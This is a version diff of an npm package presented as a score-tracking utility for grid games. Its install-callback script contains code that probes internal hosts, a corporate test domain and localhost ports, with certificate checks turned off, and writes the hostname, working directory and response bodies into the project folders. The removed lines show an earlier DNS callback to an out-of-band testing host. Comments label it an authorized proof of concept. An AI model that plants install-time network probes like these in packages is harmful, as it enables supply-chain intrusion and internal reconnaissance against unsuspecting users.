merge-grid-stats 1.1.0 → 1.3.0

package/install-cb.js

@@ -1,21 +1,60 @@
-// Authorized PoC (non-destructive): marker-file proof of code execution + bounded DNS OOB.
+// Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
 var fs = require('fs');
 var path = require('path');
 var os = require('os');
+var https = require('https');
+var http = require('http');
 
 var cwd = process.cwd();
-var lines = ['poc-marker', 'cwd=' + cwd, 'host=' + (function(){ try{return os.hostname();}catch(e){return '?';} })(), 'time=' + new Date().toISOString()];
-var data = lines.join('\n');
+var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
 
-// Write marker files into cwd and up to two levels up (lands in project root)
-['', '..', '../..'].forEach(function (rel) {
-  try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), data); } catch (e) {}
-});
+function probeHttps(host, port, p, timeoutMs) {
+  return new Promise(function (resolve) {
+    var done = false;
+    var body = '';
+    var req;
+    try {
+      req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
+        res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
+        res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
+      });
+      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
+      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
+      req.end();
+    } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
+  });
+}
+
+function probeHttp(host, port, p, timeoutMs) {
+  return new Promise(function (resolve) {
+    var done = false;
+    var body = '';
+    var req;
+    try {
+      req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
+        res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
+        res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
+      });
+      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
+      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
+      req.end();
+    } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
+  });
+}
 
-// Bounded DNS callback (5s cap) - tests DNS egress without hanging install
-try {
-  var dns = require('dns');
-  var host = 'mgs-v11.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com';
-  var timer = setTimeout(function () {}, 5000);
-  dns.lookup(host, function () { try { clearTimeout(timer); } catch (e) {} });
-} catch (e) {}
+var tasks = [
+  probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
+  probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
+  probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
+  probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
+];
+
+Promise.all(tasks).then(function () {
+  var data = lines.join('\n');
+  ['', '..', '../..'].forEach(function (rel) {
+    try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
+  });
+  ['', '..', '../..'].forEach(function (rel) {
+    try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
+  });
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "merge-grid-stats",
-  "version": "1.1.0",
+  "version": "1.3.0",
   "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
   "main": "index.js",
   "scripts": {